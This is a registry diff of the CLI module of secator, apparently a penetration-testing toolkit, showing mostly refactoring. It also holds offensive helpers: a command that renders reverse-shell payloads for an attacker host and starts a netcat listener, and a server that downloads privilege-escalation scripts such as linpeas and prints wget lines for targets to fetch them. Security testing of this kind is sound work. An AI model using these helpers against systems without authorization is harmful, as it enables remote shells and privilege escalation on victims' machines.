secator 0.2.0__py2.py3-none-any.whl → 0.3.1__py2.py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of secator might be problematic. Click here for more details.

secator/cli.py CHANGED
@@ -7,22 +7,20 @@ import rich_click as click
7
7
  from dotmap import DotMap
8
8
  from fp.fp import FreeProxy
9
9
  from jinja2 import Template
10
+ from rich.live import Live
10
11
  from rich.markdown import Markdown
11
12
  from rich.rule import Rule
12
13
 
13
14
  from secator.config import ConfigLoader
14
15
  from secator.decorators import OrderedGroup, register_runner
15
- from secator.definitions import (ASCII, CVES_FOLDER, DATA_FOLDER, # noqa: F401
16
- BUILD_ADDON_ENABLED, DEV_ADDON_ENABLED, DEV_PACKAGE,
17
- GOOGLE_ADDON_ENABLED, LIB_FOLDER, MONGODB_ADDON_ENABLED,
18
- OPT_NOT_SUPPORTED, PAYLOADS_FOLDER,
19
- REDIS_ADDON_ENABLED, REVSHELLS_FOLDER, ROOT_FOLDER,
20
- TRACE_ADDON_ENABLED, VERSION, WORKER_ADDON_ENABLED)
16
+ from secator.definitions import (ADDONS_ENABLED, ASCII, CVES_FOLDER, DATA_FOLDER, DEV_PACKAGE, OPT_NOT_SUPPORTED,
17
+ PAYLOADS_FOLDER, REVSHELLS_FOLDER, ROOT_FOLDER, VERSION)
18
+ from secator.installer import ToolInstaller, get_version_info, get_health_table, fmt_health_table_row
21
19
  from secator.rich import console
22
20
  from secator.runners import Command
23
21
  from secator.serializers.dataclass import loads_dataclass
24
- from secator.utils import (debug, detect_host, discover_tasks, find_list_item,
25
- flatten, print_results_table)
22
+ from secator.utils import (debug, detect_host, discover_tasks, find_list_item, flatten,
23
+ print_results_table, print_version)
26
24
 
27
25
  click.rich_click.USE_RICH_MARKUP = True
28
26
 
@@ -37,20 +35,14 @@ ALL_SCANS = ALL_CONFIGS.scan
37
35
  #-----#
38
36
 
39
37
  @click.group(cls=OrderedGroup, invoke_without_command=True)
40
- @click.option('--no-banner', '-nb', is_flag=True, default=False)
41
38
  @click.option('--version', '-version', is_flag=True, default=False)
42
39
  @click.pass_context
43
- def cli(ctx, no_banner, version):
40
+ def cli(ctx, version):
44
41
  """Secator CLI."""
45
- if not no_banner:
46
- print(ASCII, file=sys.stderr)
42
+ console.print(ASCII, highlight=False)
47
43
  if ctx.invoked_subcommand is None:
48
44
  if version:
49
- console.print(f'[bold gold3]Current version[/]: v{VERSION}', highlight=False)
50
- console.print(f'[bold gold3]Python binary[/]: {sys.executable}')
51
- if DEV_PACKAGE:
52
- console.print(f'[bold gold3]Root folder[/]: {ROOT_FOLDER}')
53
- console.print(f'[bold gold3]Lib folder[/]: {LIB_FOLDER}')
45
+ print_version()
54
46
  else:
55
47
  ctx.get_help()
56
48
 
@@ -114,7 +106,7 @@ for config in sorted(ALL_SCANS, key=lambda x: x['name']):
114
106
  @click.option('--show', is_flag=True, help='Show command (celery multi).')
115
107
  def worker(hostname, concurrency, reload, queue, pool, check, dev, stop, show):
116
108
  """Run a worker."""
117
- if not WORKER_ADDON_ENABLED:
109
+ if not ADDONS_ENABLED['worker']:
118
110
  console.print('[bold red]Missing worker addon: please run `secator install addons worker`[/].')
119
111
  sys.exit(1)
120
112
  from secator.celery import app, is_celery_worker_alive
@@ -147,165 +139,443 @@ def worker(hostname, concurrency, reload, queue, pool, check, dev, stop, show):
147
139
  Command.execute(cmd, name='secator worker')
148
140
 
149
141
 
150
- #--------#
151
- # REPORT #
152
- #--------#
142
+ #-------#
143
+ # UTILS #
144
+ #-------#
153
145
 
154
146
 
155
- @cli.group(aliases=['r'])
156
- def report():
157
- """Reports."""
147
+ @cli.group(aliases=['u'])
148
+ def util():
149
+ """Run a utility."""
158
150
  pass
159
151
 
160
152
 
161
- @report.command('show')
162
- @click.argument('json_path')
163
- @click.option('-e', '--exclude-fields', type=str, default='', help='List of fields to exclude (comma-separated)')
164
- def report_show(json_path, exclude_fields):
165
- """Show a JSON report as a nicely-formatted table."""
166
- with open(json_path, 'r') as f:
167
- report = loads_dataclass(f.read())
168
- results = flatten(list(report['results'].values()))
169
- exclude_fields = exclude_fields.split(',')
170
- print_results_table(
171
- results,
172
- title=report['info']['title'],
173
- exclude_fields=exclude_fields)
174
-
175
-
176
- #--------#
177
- # DEPLOY #
178
- #--------#
179
-
180
- # TODO: work on this
181
- # @cli.group(aliases=['d'])
182
- # def deploy():
183
- # """Deploy secator."""
184
- # pass
185
-
186
- # @deploy.command()
187
- # def docker_compose():
188
- # """Deploy secator on docker-compose."""
189
- # pass
153
+ @util.command()
154
+ @click.option('--timeout', type=float, default=0.2, help='Proxy timeout (in seconds)')
155
+ @click.option('--number', '-n', type=int, default=1, help='Number of proxies')
156
+ def proxy(timeout, number):
157
+ """Get random proxies from FreeProxy."""
158
+ proxy = FreeProxy(timeout=timeout, rand=True, anonym=True)
159
+ for _ in range(number):
160
+ url = proxy.get()
161
+ print(url)
190
162
 
191
- # @deploy.command()
192
- # @click.option('-t', '--target', type=str, default='minikube', help='Deployment target amongst minikube, gke')
193
- # def k8s():
194
- # """Deploy secator on Kubernetes."""
195
- # pass
196
163
 
164
+ @util.command()
165
+ @click.argument('name', type=str, default=None, required=False)
166
+ @click.option('--host', '-h', type=str, default=None, help='Specify LHOST for revshell, otherwise autodetected.')
167
+ @click.option('--port', '-p', type=int, default=9001, show_default=True, help='Specify PORT for revshell')
168
+ @click.option('--interface', '-i', type=str, help='Interface to use to detect IP')
169
+ @click.option('--listen', '-l', is_flag=True, default=False, help='Spawn netcat listener on specified port')
170
+ @click.option('--force', is_flag=True)
171
+ def revshell(name, host, port, interface, listen, force):
172
+ """Show reverse shell source codes and run netcat listener (-l)."""
173
+ if host is None: # detect host automatically
174
+ host = detect_host(interface)
175
+ if not host:
176
+ console.print(
177
+ f'Interface "{interface}" could not be found. Run "ifconfig" to see the list of available interfaces.',
178
+ style='bold red')
179
+ return
197
180
 
198
- #--------#
199
- # HEALTH #
200
- #--------#
181
+ # Download reverse shells JSON from repo
182
+ revshells_json = f'{REVSHELLS_FOLDER}/revshells.json'
183
+ if not os.path.exists(revshells_json) or force:
184
+ ret = Command.execute(
185
+ f'wget https://raw.githubusercontent.com/freelabz/secator/main/scripts/revshells.json && mv revshells.json {REVSHELLS_FOLDER}', # noqa: E501
186
+ cls_attributes={'shell': True}
187
+ )
188
+ if not ret.return_code == 0:
189
+ sys.exit(1)
201
190
 
191
+ # Parse JSON into shells
192
+ with open(revshells_json) as f:
193
+ shells = json.loads(f.read())
194
+ for sh in shells:
195
+ sh['alias'] = '_'.join(sh['name'].lower()
196
+ .replace('-c', '')
197
+ .replace('-e', '')
198
+ .replace('-i', '')
199
+ .replace('c#', 'cs')
200
+ .replace('#', '')
201
+ .replace('(', '')
202
+ .replace(')', '')
203
+ .strip()
204
+ .split(' ')).replace('_1', '')
205
+ cmd = re.sub(r"\s\s+", "", sh.get('command', ''), flags=re.UNICODE)
206
+ cmd = cmd.replace('\n', ' ')
207
+ sh['cmd_short'] = (cmd[:30] + '..') if len(cmd) > 30 else cmd
202
208
 
203
- def which(command):
204
- """Run which on a command.
209
+ shell = [
210
+ shell for shell in shells if shell['name'] == name or shell['alias'] == name
211
+ ]
212
+ if not shell:
213
+ console.print('Available shells:', style='bold yellow')
214
+ shells_str = [
215
+ '[bold magenta]{alias:<20}[/][dim white]{name:<20}[/][dim gold3]{cmd_short:<20}[/]'.format(**sh)
216
+ for sh in shells
217
+ ]
218
+ console.print('\n'.join(shells_str))
219
+ else:
220
+ shell = shell[0]
221
+ command = shell['command']
222
+ alias = shell['alias']
223
+ name = shell['name']
224
+ command_str = Template(command).render(ip=host, port=port, shell='bash')
225
+ console.print(Rule(f'[bold gold3]{alias}[/] - [bold red]{name} REMOTE SHELL', style='bold red', align='left'))
226
+ lang = shell.get('lang') or 'sh'
227
+ if len(command.splitlines()) == 1:
228
+ console.print()
229
+ print(f'\033[0;36m{command_str}')
230
+ else:
231
+ md = Markdown(f'```{lang}\n{command_str}\n```')
232
+ console.print(md)
233
+ console.print(f'Save this script as rev.{lang} and run it on your target', style='dim italic')
234
+ console.print()
235
+ console.print(Rule(style='bold red'))
205
236
 
206
- Args:
207
- command (str): Command to check.
237
+ if listen:
238
+ console.print(f'Starting netcat listener on port {port} ...', style='bold gold3')
239
+ cmd = f'nc -lvnp {port}'
240
+ Command.execute(cmd)
208
241
 
209
- Returns:
210
- secator.Command: Command instance.
211
- """
212
- return Command.execute(f'which {command}', quiet=True, print_errors=False)
213
242
 
243
+ @util.command()
244
+ @click.option('--directory', '-d', type=str, default=PAYLOADS_FOLDER, show_default=True, help='HTTP server directory')
245
+ @click.option('--host', '-h', type=str, default=None, help='HTTP host')
246
+ @click.option('--port', '-p', type=int, default=9001, help='HTTP server port')
247
+ @click.option('--interface', '-i', type=str, default=None, help='Interface to use to auto-detect host IP')
248
+ def serve(directory, host, port, interface):
249
+ """Run HTTP server to serve payloads."""
250
+ LSE_URL = 'https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh'
251
+ LINPEAS_URL = 'https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh'
252
+ SUDOKILLER_URL = 'https://raw.githubusercontent.com/TH3xACE/SUDO_KILLER/V3/SUDO_KILLERv3.sh'
253
+ PAYLOADS = [
254
+ {
255
+ 'fname': 'lse.sh',
256
+ 'description': 'Linux Smart Enumeration',
257
+ 'command': f'wget {LSE_URL} -O lse.sh && chmod 700 lse.sh'
258
+ },
259
+ {
260
+ 'fname': 'linpeas.sh',
261
+ 'description': 'Linux Privilege Escalation Awesome Script',
262
+ 'command': f'wget {LINPEAS_URL} -O linpeas.sh && chmod 700 linpeas.sh'
263
+ },
264
+ {
265
+ 'fname': 'sudo_killer.sh',
266
+ 'description': 'SUDO_KILLER',
267
+ 'command': f'wget {SUDOKILLER_URL} -O sudo_killer.sh && chmod 700 sudo_killer.sh'
268
+ }
269
+ ]
270
+ for ix, payload in enumerate(PAYLOADS):
271
+ descr = payload.get('description', '')
272
+ fname = payload['fname']
273
+ if not os.path.exists(f'{directory}/{fname}'):
274
+ with console.status(f'[bold yellow][{ix}/{len(PAYLOADS)}] Downloading {fname} [dim]({descr})[/] ...[/]'):
275
+ cmd = payload['command']
276
+ console.print(f'[bold magenta]{fname} [dim]({descr})[/] ...[/]', )
277
+ Command.execute(cmd, cls_attributes={'shell': True}, cwd=directory)
278
+ console.print()
214
279
 
215
- def version(cls):
216
- """Get version for a Command.
280
+ console.print(Rule())
281
+ console.print(f'Available payloads in {directory}: ', style='bold yellow')
282
+ for fname in os.listdir(directory):
283
+ if not host:
284
+ host = detect_host(interface)
285
+ if not host:
286
+ console.print(
287
+ f'Interface "{interface}" could not be found. Run "ifconfig" to see the list of interfaces.',
288
+ style='bold red')
289
+ return
290
+ payload = find_list_item(PAYLOADS, fname, key='fname', default={})
291
+ fdescr = payload.get('description', 'No description')
292
+ console.print(f'{fname} [dim]({fdescr})[/]', style='bold magenta')
293
+ console.print(f'wget http://{host}:{port}/{fname}', style='dim italic')
294
+ console.print('')
295
+ console.print(Rule())
296
+ console.print(f'Started HTTP server on port {port}, waiting for incoming connections ...', style='bold yellow')
297
+ Command.execute(f'{sys.executable} -m http.server {port}', cwd=directory)
217
298
 
218
- Args:
219
- cls: Command class.
220
299
 
221
- Returns:
222
- string: Version string or 'n/a' if not found.
223
- """
224
- base_cmd = cls.cmd.split(' ')[0]
225
- if cls.version_flag == OPT_NOT_SUPPORTED:
226
- return 'N/A'
227
- version_flag = cls.version_flag or f'{cls.opt_prefix}version'
228
- version_cmd = f'{base_cmd} {version_flag}'
229
- return get_version(version_cmd)
300
+ @util.command()
301
+ @click.argument('record_name', type=str, default=None)
302
+ @click.option('--script', '-s', type=str, default=None, help='Script to run. See scripts/stories/ for examples.')
303
+ @click.option('--interactive', '-i', is_flag=True, default=False, help='Interactive record.')
304
+ @click.option('--width', '-w', type=int, default=None, help='Recording width')
305
+ @click.option('--height', '-h', type=int, default=None, help='Recording height')
306
+ @click.option('--output-dir', type=str, default=f'{ROOT_FOLDER}/images')
307
+ def record(record_name, script, interactive, width, height, output_dir):
308
+ """Record secator session using asciinema."""
309
+ # 120 x 30 is a good ratio for GitHub
310
+ width = width or console.size.width
311
+ height = height or console.size.height
312
+ attrs = {
313
+ 'shell': False,
314
+ 'env': {
315
+ 'RECORD': '1',
316
+ 'LINES': str(height),
317
+ 'PS1': '$ ',
318
+ 'COLUMNS': str(width),
319
+ 'TERM': 'xterm-256color'
320
+ }
321
+ }
322
+ output_cast_path = f'{output_dir}/{record_name}.cast'
323
+ output_gif_path = f'{output_dir}/{record_name}.gif'
230
324
 
325
+ # Run automated 'story' script with asciinema-automation
326
+ if script:
327
+ # If existing cast file, remove it
328
+ if os.path.exists(output_cast_path):
329
+ os.unlink(output_cast_path)
330
+ console.print(f'Removed existing {output_cast_path}', style='bold green')
231
331
 
232
- def get_version(version_cmd):
233
- """Run version command and match first version number found.
332
+ with console.status('[bold gold3]Recording with asciinema ...[/]'):
333
+ Command.execute(
334
+ f'asciinema-automation -aa "-c /bin/sh" {script} {output_cast_path} --timeout 200',
335
+ cls_attributes=attrs,
336
+ raw=True,
337
+ )
338
+ console.print(f'Generated {output_cast_path}', style='bold green')
339
+ elif interactive:
340
+ os.environ.update(attrs['env'])
341
+ Command.execute(f'asciinema rec -c /bin/bash --stdin --overwrite {output_cast_path}')
234
342
 
235
- Args:
236
- version_cmd (str): Command to get the version.
343
+ # Resize cast file
344
+ if os.path.exists(output_cast_path):
345
+ with console.status('[bold gold3]Cleaning up .cast and set custom settings ...'):
346
+ with open(output_cast_path, 'r') as f:
347
+ lines = f.readlines()
348
+ updated_lines = []
349
+ for ix, line in enumerate(lines):
350
+ tmp_line = json.loads(line)
351
+ if ix == 0:
352
+ tmp_line['width'] = width
353
+ tmp_line['height'] = height
354
+ tmp_line['env']['SHELL'] = '/bin/sh'
355
+ lines[0] = json.dumps(tmp_line) + '\n'
356
+ updated_lines.append(json.dumps(tmp_line) + '\n')
357
+ elif tmp_line[2].endswith(' \r'):
358
+ tmp_line[2] = tmp_line[2].replace(' \r', '')
359
+ updated_lines.append(json.dumps(tmp_line) + '\n')
360
+ else:
361
+ updated_lines.append(line)
362
+ with open(output_cast_path, 'w') as f:
363
+ f.writelines(updated_lines)
364
+ console.print('')
237
365
 
238
- Returns:
239
- str: Version string.
240
- """
241
- regex = r'[0-9]+\.[0-9]+\.?[0-9]*\.?[a-zA-Z]*'
242
- ret = Command.execute(version_cmd, quiet=True, print_errors=False)
243
- match = re.findall(regex, ret.output)
244
- if not match:
245
- return 'n/a'
246
- return match[0]
366
+ # Edit cast file to reduce long timeouts
367
+ with console.status('[bold gold3] Editing cast file to reduce long commands ...'):
368
+ Command.execute(
369
+ f'asciinema-edit quantize --range 1 {output_cast_path} --out {output_cast_path}.tmp',
370
+ cls_attributes=attrs,
371
+ raw=True,
372
+ )
373
+ if os.path.exists(f'{output_cast_path}.tmp'):
374
+ os.replace(f'{output_cast_path}.tmp', output_cast_path)
375
+ console.print(f'Edited {output_cast_path}', style='bold green')
376
+
377
+ # Convert to GIF
378
+ with console.status(f'[bold gold3]Converting to {output_gif_path} ...[/]'):
379
+ Command.execute(
380
+ f'agg {output_cast_path} {output_gif_path}',
381
+ cls_attributes=attrs,
382
+ )
383
+ console.print(f'Generated {output_gif_path}', style='bold green')
384
+
385
+
386
+ @util.group('build')
387
+ def build():
388
+ """Build secator."""
389
+ if not DEV_PACKAGE:
390
+ console.print('[bold red]You MUST use a development version of secator to make builds.[/]')
391
+ sys.exit(1)
392
+ pass
393
+
394
+
395
+ @build.command('pypi')
396
+ def build_pypi():
397
+ """Build secator PyPI package."""
398
+ if not ADDONS_ENABLED['build']:
399
+ console.print('[bold red]Missing build addon: please run `secator install addons build`')
400
+ sys.exit(1)
401
+ with console.status('[bold gold3]Building PyPI package...[/]'):
402
+ ret = Command.execute(f'{sys.executable} -m hatch build', name='hatch build', cwd=ROOT_FOLDER)
403
+ sys.exit(ret.return_code)
404
+
405
+
406
+ @build.command('docker')
407
+ @click.option('--tag', '-t', type=str, default=None, help='Specific tag')
408
+ @click.option('--latest', '-l', is_flag=True, default=False, help='Latest tag')
409
+ def build_docker(tag, latest):
410
+ """Build secator Docker image."""
411
+ if not tag:
412
+ tag = VERSION if latest else 'dev'
413
+ cmd = f'docker build -t freelabz/secator:{tag}'
414
+ if latest:
415
+ cmd += ' -t freelabz/secator:latest'
416
+ cmd += ' .'
417
+ with console.status('[bold gold3]Building Docker image...[/]'):
418
+ ret = Command.execute(cmd, name='docker build', cwd=ROOT_FOLDER)
419
+ sys.exit(ret.return_code)
420
+
421
+
422
+ @util.group('publish')
423
+ def publish():
424
+ """Publish secator."""
425
+ if not DEV_PACKAGE:
426
+ console.print('[bold red]You MUST use a development version of secator to publish builds.[/]')
427
+ sys.exit(1)
428
+ pass
429
+
430
+
431
+ @publish.command('pypi')
432
+ def publish_pypi():
433
+ """Publish secator PyPI package."""
434
+ if not ADDONS_ENABLED['build']:
435
+ console.print('[bold red]Missing build addon: please run `secator install addons build`')
436
+ sys.exit(1)
437
+ os.environ['HATCH_INDEX_USER'] = '__token__'
438
+ hatch_token = os.environ.get('HATCH_INDEX_AUTH')
439
+ if not hatch_token:
440
+ console.print('[bold red]Missing PyPI auth token (HATCH_INDEX_AUTH env variable).')
441
+ sys.exit(1)
442
+ with console.status('[bold gold3]Publishing PyPI package...[/]'):
443
+ ret = Command.execute(f'{sys.executable} -m hatch publish', name='hatch publish', cwd=ROOT_FOLDER)
444
+ sys.exit(ret.return_code)
445
+
446
+
447
+ @publish.command('docker')
448
+ @click.option('--tag', '-t', default=None, help='Specific tag')
449
+ @click.option('--latest', '-l', is_flag=True, default=False, help='Latest tag')
450
+ def publish_docker(tag, latest):
451
+ """Publish secator Docker image."""
452
+ if not tag:
453
+ tag = VERSION if latest else 'dev'
454
+ cmd = f'docker push freelabz/secator:{tag}'
455
+ cmd2 = 'docker push freelabz/secator:latest'
456
+ with console.status(f'[bold gold3]Publishing Docker image {tag}...[/]'):
457
+ ret = Command.execute(cmd, name=f'docker push ({tag})', cwd=ROOT_FOLDER)
458
+ if latest:
459
+ ret2 = Command.execute(cmd2, name='docker push (latest)')
460
+ sys.exit(max(ret.return_code, ret2.return_code))
461
+ sys.exit(ret.return_code)
462
+
463
+
464
+ #--------#
465
+ # REPORT #
466
+ #--------#
467
+
468
+
469
+ @cli.group(aliases=['r'])
470
+ def report():
471
+ """View previous reports."""
472
+ pass
473
+
474
+
475
+ @report.command('show')
476
+ @click.argument('json_path')
477
+ @click.option('-e', '--exclude-fields', type=str, default='', help='List of fields to exclude (comma-separated)')
478
+ def report_show(json_path, exclude_fields):
479
+ """Show a JSON report as a nicely-formatted table."""
480
+ with open(json_path, 'r') as f:
481
+ report = loads_dataclass(f.read())
482
+ results = flatten(list(report['results'].values()))
483
+ exclude_fields = exclude_fields.split(',')
484
+ print_results_table(
485
+ results,
486
+ title=report['info']['title'],
487
+ exclude_fields=exclude_fields)
488
+
489
+
490
+ #--------#
491
+ # DEPLOY #
492
+ #--------#
493
+
494
+ # TODO: work on this
495
+ # @cli.group(aliases=['d'])
496
+ # def deploy():
497
+ # """Deploy secator."""
498
+ # pass
499
+
500
+ # @deploy.command()
501
+ # def docker_compose():
502
+ # """Deploy secator on docker-compose."""
503
+ # pass
504
+
505
+ # @deploy.command()
506
+ # @click.option('-t', '--target', type=str, default='minikube', help='Deployment target amongst minikube, gke')
507
+ # def k8s():
508
+ # """Deploy secator on Kubernetes."""
509
+ # pass
247
510
 
248
511
 
249
- @cli.command(name='health', aliases=['h'])
512
+ #--------#
513
+ # HEALTH #
514
+ #--------#
515
+
516
+ @cli.command(name='health')
250
517
  @click.option('--json', '-json', is_flag=True, default=False, help='JSON lines output')
251
518
  @click.option('--debug', '-debug', is_flag=True, default=False, help='Debug health output')
252
519
  def health(json, debug):
253
- """Health."""
254
- tools = [cls for cls in ALL_TASKS]
255
- status = {'tools': {}, 'languages': {}, 'secator': {}}
256
-
257
- def print_status(cmd, return_code, version=None, bin=None, category=None):
258
- s = '[bold green]ok [/]' if return_code == 0 else '[bold red]missing [/]'
259
- s = f'[bold magenta]{cmd:<15}[/] {s} '
260
- if return_code == 0 and version:
261
- if version == 'N/A':
262
- s += f'[dim blue]{version:<12}[/]'
263
- else:
264
- s += f'[bold blue]{version:<12}[/]'
265
- elif category:
266
- s += ' '*12 + f'[dim]# secator install {category} {cmd}'
267
- if bin:
268
- s += f'[dim gold3]{bin}[/]'
269
- console.print(s, highlight=False)
520
+ """[dim]Get health status.[/]"""
521
+ tools = ALL_TASKS
522
+ status = {'secator': {}, 'languages': {}, 'tools': {}, 'addons': {}}
270
523
 
271
524
  # Check secator
272
525
  console.print(':wrench: [bold gold3]Checking secator ...[/]')
273
- ret = which('secator')
274
- if not json:
275
- print_status('secator', ret.return_code, VERSION, ret.output, None)
276
- status['secator'] = {'installed': ret.return_code == 0}
526
+ info = get_version_info('secator', '-version', 'freelabz/secator')
527
+ table = get_health_table()
528
+ with Live(table, console=console):
529
+ row = fmt_health_table_row(info)
530
+ table.add_row(*row)
531
+ status['secator'] = info
277
532
 
278
533
  # Check languages
279
534
  console.print('\n:wrench: [bold gold3]Checking installed languages ...[/]')
280
535
  version_cmds = {'go': 'version', 'python3': '--version', 'ruby': '--version'}
281
- for lang, version_flag in version_cmds.items():
282
- ret = which(lang)
283
- ret2 = get_version(f'{lang} {version_flag}')
284
- if not json:
285
- print_status(lang, ret.return_code, ret2, ret.output, 'langs')
286
- status['languages'][lang] = {'installed': ret.return_code == 0}
536
+ table = get_health_table()
537
+ with Live(table, console=console):
538
+ for lang, version_flag in version_cmds.items():
539
+ info = get_version_info(lang, version_flag)
540
+ row = fmt_health_table_row(info, 'langs')
541
+ table.add_row(*row)
542
+ status['languages'][lang] = info
287
543
 
288
544
  # Check tools
289
545
  console.print('\n:wrench: [bold gold3]Checking installed tools ...[/]')
290
- for tool in tools:
291
- cmd = tool.cmd.split(' ')[0]
292
- ret = which(cmd)
293
- ret2 = version(tool)
294
- if not json:
295
- print_status(tool.__name__, ret.return_code, ret2, ret.output, 'tools')
296
- status['tools'][tool.__name__] = {'installed': ret.return_code == 0}
297
-
298
- # Check addons
546
+ table = get_health_table()
547
+ with Live(table, console=console):
548
+ for tool in tools:
549
+ cmd = tool.cmd.split(' ')[0]
550
+ version_flag = tool.version_flag or f'{tool.opt_prefix}version'
551
+ version_flag = None if tool.version_flag == OPT_NOT_SUPPORTED else version_flag
552
+ info = get_version_info(cmd, version_flag, tool.install_github_handle)
553
+ row = fmt_health_table_row(info, 'tools')
554
+ table.add_row(*row)
555
+ status['tools'][tool.__name__] = info
556
+
557
+ # # Check addons
299
558
  console.print('\n:wrench: [bold gold3]Checking installed addons ...[/]')
300
- for addon in ['google', 'mongodb', 'redis', 'dev', 'trace', 'build']:
301
- addon_var = globals()[f'{addon.upper()}_ADDON_ENABLED']
302
- ret = 0 if addon_var == 1 else 1
303
- bin = None if addon_var == 0 else ' '
304
- print_status(addon, ret, 'N/A', bin, 'addons')
559
+ table = get_health_table()
560
+ with Live(table, console=console):
561
+ for addon in ['google', 'mongodb', 'redis', 'dev', 'trace', 'build']:
562
+ addon_var = ADDONS_ENABLED[addon]
563
+ info = {
564
+ 'name': addon,
565
+ 'version': None,
566
+ 'status': 'ok' if addon_var else 'missing',
567
+ 'latest_version': None,
568
+ 'installed': addon_var,
569
+ 'location': None
570
+ }
571
+ row = fmt_health_table_row(info, 'addons')
572
+ table.add_row(*row)
573
+ status['addons'][addon] = info
305
574
 
306
575
  # Print JSON health
307
576
  if json:
308
- console.print(status)
577
+ import json as _json
578
+ print(_json.dumps(status))
309
579
 
310
580
  #---------#
311
581
  # INSTALL #
@@ -326,9 +596,9 @@ def run_install(cmd, title, next_steps=None):
326
596
  sys.exit(ret.return_code)
327
597
 
328
598
 
329
- @cli.group(aliases=['i'])
599
+ @cli.group()
330
600
  def install():
331
- "Installations."
601
+ """[dim]Install langs, tools and addons.[/]"""
332
602
  pass
333
603
 
334
604
 
@@ -476,7 +746,7 @@ def install_tools(cmds):
476
746
 
477
747
  for ix, cls in enumerate(tools):
478
748
  with console.status(f'[bold yellow][{ix}/{len(tools)}] Installing {cls.__name__} ...'):
479
- cls.install()
749
+ ToolInstaller.install(cls)
480
750
  console.print()
481
751
 
482
752
 
@@ -502,14 +772,33 @@ def install_cves(force):
502
772
  console.print(':tada: CVEs installed successfully !', style='bold green')
503
773
 
504
774
 
775
+ #--------#
776
+ # UPDATE #
777
+ #--------#
778
+
779
+ @cli.command('update')
780
+ def update():
781
+ """[dim]Update to latest version.[/]"""
782
+ info = get_version_info('secator', github_handle='freelabz/secator', version=VERSION)
783
+ latest_version = info['latest_version']
784
+ if info['status'] == 'latest':
785
+ console.print(f'[bold green]secator is already at the newest version {latest_version}[/] !')
786
+ sys.exit(0)
787
+ console.print(f'[bold gold3]:wrench: Updating secator from {VERSION} to {latest_version} ...[/]')
788
+ if 'pipx' in sys.executable:
789
+ Command.execute(f'pipx install secator=={latest_version} --force')
790
+ else:
791
+ Command.execute(f'pip install secator=={latest_version}')
792
+
793
+
505
794
  #-------#
506
795
  # ALIAS #
507
796
  #-------#
508
797
 
509
798
 
510
- @cli.group(aliases=['a'])
799
+ @cli.group()
511
800
  def alias():
512
- """Aliases."""
801
+ """[dim]Configure aliases.[/]"""
513
802
  pass
514
803
 
515
804
 
@@ -593,315 +882,6 @@ def list_aliases(silent):
593
882
  return aliases
594
883
 
595
884
 
596
- #-------#
597
- # UTILS #
598
- #-------#
599
-
600
-
601
- @cli.group(aliases=['u'])
602
- def utils():
603
- """Utilities."""
604
- pass
605
-
606
-
607
- @utils.command()
608
- @click.option('--timeout', type=float, default=0.2, help='Proxy timeout (in seconds)')
609
- @click.option('--number', '-n', type=int, default=1, help='Number of proxies')
610
- def proxy(timeout, number):
611
- """Get random proxies from FreeProxy."""
612
- proxy = FreeProxy(timeout=timeout, rand=True, anonym=True)
613
- for _ in range(number):
614
- url = proxy.get()
615
- print(url)
616
-
617
-
618
- @utils.command()
619
- @click.argument('name', type=str, default=None, required=False)
620
- @click.option('--host', '-h', type=str, default=None, help='Specify LHOST for revshell, otherwise autodetected.')
621
- @click.option('--port', '-p', type=int, default=9001, show_default=True, help='Specify PORT for revshell')
622
- @click.option('--interface', '-i', type=str, help='Interface to use to detect IP')
623
- @click.option('--listen', '-l', is_flag=True, default=False, help='Spawn netcat listener on specified port')
624
- @click.option('--force', is_flag=True)
625
- def revshell(name, host, port, interface, listen, force):
626
- """Show reverse shell source codes and run netcat listener (-l)."""
627
- if host is None: # detect host automatically
628
- host = detect_host(interface)
629
- if not host:
630
- console.print(
631
- f'Interface "{interface}" could not be found. Run "ifconfig" to see the list of available interfaces.',
632
- style='bold red')
633
- return
634
-
635
- # Download reverse shells JSON from repo
636
- revshells_json = f'{REVSHELLS_FOLDER}/revshells.json'
637
- if not os.path.exists(revshells_json) or force:
638
- ret = Command.execute(
639
- f'wget https://raw.githubusercontent.com/freelabz/secator/main/scripts/revshells.json && mv revshells.json {REVSHELLS_FOLDER}', # noqa: E501
640
- cls_attributes={'shell': True}
641
- )
642
- if not ret.return_code == 0:
643
- sys.exit(1)
644
-
645
- # Parse JSON into shells
646
- with open(revshells_json) as f:
647
- shells = json.loads(f.read())
648
- for sh in shells:
649
- sh['alias'] = '_'.join(sh['name'].lower()
650
- .replace('-c', '')
651
- .replace('-e', '')
652
- .replace('-i', '')
653
- .replace('c#', 'cs')
654
- .replace('#', '')
655
- .replace('(', '')
656
- .replace(')', '')
657
- .strip()
658
- .split(' ')).replace('_1', '')
659
- cmd = re.sub(r"\s\s+", "", sh.get('command', ''), flags=re.UNICODE)
660
- cmd = cmd.replace('\n', ' ')
661
- sh['cmd_short'] = (cmd[:30] + '..') if len(cmd) > 30 else cmd
662
-
663
- shell = [
664
- shell for shell in shells if shell['name'] == name or shell['alias'] == name
665
- ]
666
- if not shell:
667
- console.print('Available shells:', style='bold yellow')
668
- shells_str = [
669
- '[bold magenta]{alias:<20}[/][dim white]{name:<20}[/][dim gold3]{cmd_short:<20}[/]'.format(**sh)
670
- for sh in shells
671
- ]
672
- console.print('\n'.join(shells_str))
673
- else:
674
- shell = shell[0]
675
- command = shell['command']
676
- alias = shell['alias']
677
- name = shell['name']
678
- command_str = Template(command).render(ip=host, port=port, shell='bash')
679
- console.print(Rule(f'[bold gold3]{alias}[/] - [bold red]{name} REMOTE SHELL', style='bold red', align='left'))
680
- lang = shell.get('lang') or 'sh'
681
- if len(command.splitlines()) == 1:
682
- console.print()
683
- print(f'\033[0;36m{command_str}')
684
- else:
685
- md = Markdown(f'```{lang}\n{command_str}\n```')
686
- console.print(md)
687
- console.print(f'Save this script as rev.{lang} and run it on your target', style='dim italic')
688
- console.print()
689
- console.print(Rule(style='bold red'))
690
-
691
- if listen:
692
- console.print(f'Starting netcat listener on port {port} ...', style='bold gold3')
693
- cmd = f'nc -lvnp {port}'
694
- Command.execute(cmd)
695
-
696
-
697
- @utils.command()
698
- @click.option('--directory', '-d', type=str, default=PAYLOADS_FOLDER, show_default=True, help='HTTP server directory')
699
- @click.option('--host', '-h', type=str, default=None, help='HTTP host')
700
- @click.option('--port', '-p', type=int, default=9001, help='HTTP server port')
701
- @click.option('--interface', '-i', type=str, default=None, help='Interface to use to auto-detect host IP')
702
- def serve(directory, host, port, interface):
703
- """Run HTTP server to serve payloads."""
704
